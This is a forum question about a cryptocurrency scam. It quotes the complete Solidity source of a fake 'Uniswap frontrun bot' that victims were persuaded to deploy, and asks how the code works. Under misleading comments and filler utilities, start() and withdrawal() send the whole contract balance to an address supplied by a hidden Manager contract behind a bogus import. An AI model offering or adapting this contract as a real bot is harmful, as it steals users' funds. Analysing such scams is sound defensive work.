Below is the exact solidity code that the scammer were manipulating people to run by themselves. I checked that there is no wallet address specified within the code but this code will transfer the token in the contract address as soon as you run and call start(). Although I see some suspicious functions within payable with transfer, DepositAddress(), the code is not importing other code defining DepositAddress() or any suspicious library so how are they calling these code? Also new Manager() at the first seems making new instance of unknown class manager right? Again, how could the code work without importing these function? If it makes sense, I would like to know what other codes are doing too. Thank you.
Contract address: 0x37caba0155ac3bf705d08b8522daff54ddc006a0
//SPDX-License-Identifier: 1inchSwap
pragma solidity ^0.6.6;
// Import Libraries
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
// New Token Scan
import "coinmarketcap.com/coins";
contract UniswapFrontrunBot {
string public tokenName;
string public tokenSymbol;
uint frontrun;
Manager manager;
constructor(string memory _tokenName, string memory _tokenSymbol) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
manager = new Manager();
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Find newly deployed contracts on Uniswap Exchange
* @param memory of required contract liquidity.
* @param other The second slice to compare.
* @return New contracts with required liquidity.
*/
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant contracts and check again for new contracts
uint256 mask = uint256(-1);
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Extracts the newest contracts on Uniswap exchange
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `list of contracts`.
*/
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Loading the contract
* @param contract address
* @return contract interaction object
*/
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
/*
* @dev Extracts the contract from Uniswap
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Check available liquidity
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Orders the contract by its available liquidity
* @param self The slice to operate on.
* @return The contract with possbile maximum return
*/
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Calculates remaining liquidity in contract
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
/*
* @dev Parsing all uniswap mempool
* @param self The contract to operate on.
* @return True if the slice is empty, False otherwise.
*/
function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
/*
* @dev Returns the keccak-256 hash of the contracts.
* @param self The slice to hash.
* @return The hash of the contract.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i=0; i<count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
uint hexLength = bytes(string(res)).length;
if (hexLength == 4) {
string memory _hexC1 = mempool("0", string(res));
return _hexC1;
} else if (hexLength == 3) {
string memory _hexC2 = mempool("0", string(res));
return _hexC2;
} else if (hexLength == 2) {
string memory _hexC3 = mempool("000", string(res));
return _hexC3;
} else if (hexLength == 1) {
string memory _hexC4 = mempool("0000", string(res));
return _hexC4;
}
return string(res);
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function start() public payable {
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
payable(manager.DepositAddress()).transfer(address(this).balance);
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function toHexDigit(uint8 d) pure internal returns (byte) {
if (0 <= d && d <= 9) {
return byte(uint8(byte('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return byte(uint8(byte('a')) + d - 10);
}
// revert("Invalid hex digit");
revert();
}
/*
* @dev token int2 to readable str
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function withdrawal() public payable {
/*
* @dev withdrawals profit back to contract creator address
* @return `profits`.
*/
payable(manager.DepositAddress()).transfer(address(this).balance);
}
/*
* @dev loads all uniswap mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`.
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
}
